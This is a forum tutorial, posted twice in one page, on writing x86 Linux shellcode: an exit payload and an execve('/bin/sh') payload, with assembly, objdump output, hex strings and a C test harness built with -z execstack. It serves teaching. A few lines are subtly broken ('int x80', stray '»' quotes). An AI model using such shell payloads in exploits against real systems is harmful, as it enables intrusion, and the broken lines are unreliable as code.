May 12, 2015 06:09 AM
(This post was last modified: May 12, 2015 06:10 AM by blackndoor.)
Hello everyone,
Here’s my tutorial on shellcoding.
My platform for this tuto is a Kali linux. I use the NASM syntax for my ASM codes.
1 - What is a shellcode
It is a piece of hex Opcode. Shellcode asks the kernel to execute some tasks. Basically, it is used to exploit a vulnerability as buffer overflow. User can cause a vulnerable program to execute instruction provided by him rather than the program.
The term « shellcode » comes form the fact that a malicious user utilized code that would provide him with a shell access to a remote computer.
2 - System calls
Shellcode asks the services of the operating system and must follow a prescribed method to interact with it. Methods differs from an operating system to another.
Shellcode must performs « system calls » in order to request the operating system to perform some operation.
Each function or method (exit, print, execve, get…) has a system call or syscall number. You can find it on kali linux here :
/usr/include/I386-linux-gnu/asm/unistd_32.h
Other ressource :
docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html
Once the method to interact with the operating system is followed, we have to call the kernel and ask him to execute our method.
To do that under linux, we use the instruction :
3 - Register
In a standard C program, you store your value in a var, ex : int i =0
In ASM, you store your value in registers or the stack.
Basically, registers are used for :
EAX => Called the Accumulator. It is used for contain the syscall code, the return value of a function etc..
EBX => Called the Base register. It is used for contain the first argument of a function etc..
ECX => Called the Counter register. It is used as a loop counter, the second argument of a function etc…
EDX = > Called the Data register. It is used for the third argument of a function etc..
ESI => Called the Source Index register. It is used for the fourth argument of a function etc..
EDI => Called the Destination Source. It is used for the fifth argument of a function etc…
If more arguments are needed, address of an array of arguments can be stored in EBX.
These registers are all 32bits.
EAX, EBX, ECX, EDX can be broken down into 16 and 8 bits register
32 bits : EAX, EBX, ECX, EDX
16 bits : AX, BX, CX, DX
8 bits : (AH, AL), (BH, BL), (CH, CL), (DH, DL)
The « H » and « L » suffix on the 8 bit registers stand for high byte and low byte.
ESP is another register which contain the top location of current stack.
4 - Instruction
You need to know some basic instructions to play with the registers and the stack.
PUSH => place a value on the top of the stack
POP => take the value of the top of the stack
MOV => place a number in a register or in a memory location
XOR => bitwise operation
int 0x80 => ask kernel to execute
5 - first shellcode
We have everything to create our first shellcode. Let’s start with a basic one, exit
exit function synopsis :
void exit(in status)
exit syscall :
#define __NR_exit 1
The syscall code for the exit function is 1, so we have to store this value in our register EAX
The exit function takes one argument, so we have to store this argument value in our register EBX
Important thing when you create shellcode, is that you have to avoid NULL byte.
The common way to do that is to call the instruction XOR on the same register, ex :
This instruction will clear the eax register and avoid null byte.
It is common to clear all the needed registers at the beginning of the ASM code.
Here for our example, we will use EAX and EBX register, so our first lines of ASM code are :
EBX is null, so the argument given to the function exit is 0
Then we place the syscall code for exit to eax :
We are now ready to call the kernel.
Here is the complet code :
Compile the code as follow :
root@kali:/# nasm -f elf exit.asm
root@kali:/# ld exit.o -o exit
To check the execution of our program, we use strace :
Now, we have to extract the HEX Opcodes (shellcode). We use objdump :
hex Opcode for xor ebx, ebx is \x31\xdb
hex Opcode for xor eax, eax is \x31\xc0
hex Opcode for mov al, 1 is \xb0\x01
hex Opcode for int 0x80 is \xcd\x80
Put all the piece together :
\x31\xdb\x31\xc0\xb0\x01\xcd\x80
We have our shellcode !
We can test our shellcode with :
Compile as follow :
root@kali:/# gcc -z execstack -o shellocde_exit shellcode_exit.c
6 - execve shellcode
Let’s create a more usefull shellcode which will open a shell.
To do that, we use the method (function) execve.
The synopsis is :
int execve(const char *file, char *const argv[], char *const envp[]);
execve syscall :
#define __NR_execve 11
Here is what the register will have to contain :
- EAX => syscall code for method execve : 11 or 0xb
- EBX => const char *file, address of the string « /bin/sh\0 »
- ECX => char *const argv[], address of a pointer to the array {« /bin/sh », « 0 »}
- EDX => char *const envp[], address of a pointer to an array. Not needed here so 0
Let’s start ou execve.asm :
We cleared the register to avoid null byte. EDX is ready (=0)
We placed a 0 on the stack
We placed //sh on the stack. We have to reverse (//sh => hs//) because (basically) the memory is read from the right to the left. (little-endian)
We placed nib/ on the stack (/bin)
We placed in ebx the address which point to the string /bin/sh\0. EBX is ready
Again we placed a 0 on the stack
We placed the address of the string /bin/sh\0 on the stack
We placed in ecx the address of the array {« /bin/sh\0 », « 0 »}. ECX is ready
We placed in eax the syscall code for execve. EAX is ready
We call the kernel.
Complet excelle.asm :
Compile and then extract the Opcode with objdump :
The shellcode :
Test the shellcode with :
Compile :
root@kali:/# gcc -z execstack -o shellocde_execve shellcode_execve.c
That’s it for this tutorial.
Thanks for reading.
Here’s my tutorial on shellcoding.
My platform for this tuto is a Kali linux. I use the NASM syntax for my ASM codes.
1 - What is a shellcode
It is a piece of hex Opcode. Shellcode asks the kernel to execute some tasks. Basically, it is used to exploit a vulnerability as buffer overflow. User can cause a vulnerable program to execute instruction provided by him rather than the program.
The term « shellcode » comes form the fact that a malicious user utilized code that would provide him with a shell access to a remote computer.
2 - System calls
Shellcode asks the services of the operating system and must follow a prescribed method to interact with it. Methods differs from an operating system to another.
Shellcode must performs « system calls » in order to request the operating system to perform some operation.
Each function or method (exit, print, execve, get…) has a system call or syscall number. You can find it on kali linux here :
/usr/include/I386-linux-gnu/asm/unistd_32.h
Other ressource :
docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html
Once the method to interact with the operating system is followed, we have to call the kernel and ask him to execute our method.
To do that under linux, we use the instruction :
Code
int 0x803 - Register
In a standard C program, you store your value in a var, ex : int i =0
In ASM, you store your value in registers or the stack.
Basically, registers are used for :
EAX => Called the Accumulator. It is used for contain the syscall code, the return value of a function etc..
EBX => Called the Base register. It is used for contain the first argument of a function etc..
ECX => Called the Counter register. It is used as a loop counter, the second argument of a function etc…
EDX = > Called the Data register. It is used for the third argument of a function etc..
ESI => Called the Source Index register. It is used for the fourth argument of a function etc..
EDI => Called the Destination Source. It is used for the fifth argument of a function etc…
If more arguments are needed, address of an array of arguments can be stored in EBX.
These registers are all 32bits.
EAX, EBX, ECX, EDX can be broken down into 16 and 8 bits register
32 bits : EAX, EBX, ECX, EDX
16 bits : AX, BX, CX, DX
8 bits : (AH, AL), (BH, BL), (CH, CL), (DH, DL)
The « H » and « L » suffix on the 8 bit registers stand for high byte and low byte.
ESP is another register which contain the top location of current stack.
4 - Instruction
You need to know some basic instructions to play with the registers and the stack.
PUSH => place a value on the top of the stack
POP => take the value of the top of the stack
MOV => place a number in a register or in a memory location
XOR => bitwise operation
int 0x80 => ask kernel to execute
5 - first shellcode
We have everything to create our first shellcode. Let’s start with a basic one, exit
exit function synopsis :
void exit(in status)
exit syscall :
#define __NR_exit 1
The syscall code for the exit function is 1, so we have to store this value in our register EAX
The exit function takes one argument, so we have to store this argument value in our register EBX
Important thing when you create shellcode, is that you have to avoid NULL byte.
The common way to do that is to call the instruction XOR on the same register, ex :
Code
XOR eax, eaxThis instruction will clear the eax register and avoid null byte.
It is common to clear all the needed registers at the beginning of the ASM code.
Here for our example, we will use EAX and EBX register, so our first lines of ASM code are :
Code
XOR eax, eax
XOR ebx, ebxEBX is null, so the argument given to the function exit is 0
Then we place the syscall code for exit to eax :
Code
MOV al, 1We are now ready to call the kernel.
Here is the complet code :
Code
; exit.asm
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
mov al, 1
int x80Compile the code as follow :
root@kali:/# nasm -f elf exit.asm
root@kali:/# ld exit.o -o exit
To check the execution of our program, we use strace :
Code
root@kali:/# strace ./exit
execve("./exit", ["./exit"], [/* 32 vars */]) = 0
_exit(0) = ?Now, we have to extract the HEX Opcodes (shellcode). We use objdump :
Code
root@kali:/# objdump -D ./exit
./exit: file format elf32-i386
Disassembly of section .txt:
08048054 <_start>:
8048054: 31 db xor %ebx,%ebx
8048056: 31 c0 xor %eax,%eax
8048058: b0 01 mov $0x1,%al
804805a: cd 80 int $0x80hex Opcode for xor ebx, ebx is \x31\xdb
hex Opcode for xor eax, eax is \x31\xc0
hex Opcode for mov al, 1 is \xb0\x01
hex Opcode for int 0x80 is \xcd\x80
Put all the piece together :
\x31\xdb\x31\xc0\xb0\x01\xcd\x80
We have our shellcode !
We can test our shellcode with :
Code
// shecllode_exit.c
#include <stdio.h>
#include <string.h>
char code[] =
"\x31\xdb\x31\xc0\xb0\x01\xcd\x80";
int main()
{
((void(*)())code)();
}root@kali:/# gcc -z execstack -o shellocde_exit shellcode_exit.c
6 - execve shellcode
Let’s create a more usefull shellcode which will open a shell.
To do that, we use the method (function) execve.
The synopsis is :
int execve(const char *file, char *const argv[], char *const envp[]);
execve syscall :
#define __NR_execve 11
Here is what the register will have to contain :
- EAX => syscall code for method execve : 11 or 0xb
- EBX => const char *file, address of the string « /bin/sh\0 »
- ECX => char *const argv[], address of a pointer to the array {« /bin/sh », « 0 »}
- EDX => char *const envp[], address of a pointer to an array. Not needed here so 0
Let’s start ou execve.asm :
Code
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edxCode
push eaxCode
push 0x68732f2fCode
push 0x6e69622fCode
mov ebx, espCode
push eaxCode
push ebxCode
mov ecx, espCode
mov al, 0xbCode
int 0x80Complet excelle.asm :
Code
; execve.asm
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80Compile and then extract the Opcode with objdump :
Code
root@kali:/# objdump -d ./execve3
./execve3: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 31 db xor %ebx,%ebx
8048064: 31 c9 xor %ecx,%ecx
8048066: 31 d2 xor %edx,%edx
8048068: 50 push %eax
8048069: 68 2f 2f 73 68 push $0x68732f2f
804806e: 68 2f 62 69 6e push $0x6e69622f
8048073: 89 e3 mov %esp,%ebx
8048075: 50 push %eax
8048076: 53 push %ebx
8048077: 89 e1 mov %esp,%ecx
8048079: b0 0b mov $0xb,%al
804807b: cd 80 int $0x80The shellcode :
Code
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"Test the shellcode with :
Code
// shecllode_execve.c
#include <stdio.h>
#include <string.h>
char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 »\
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 »;
int main()
{
((void(*)())code)();
}Compile :
root@kali:/# gcc -z execstack -o shellocde_execve shellcode_execve.c
That’s it for this tutorial.
Thanks for reading.

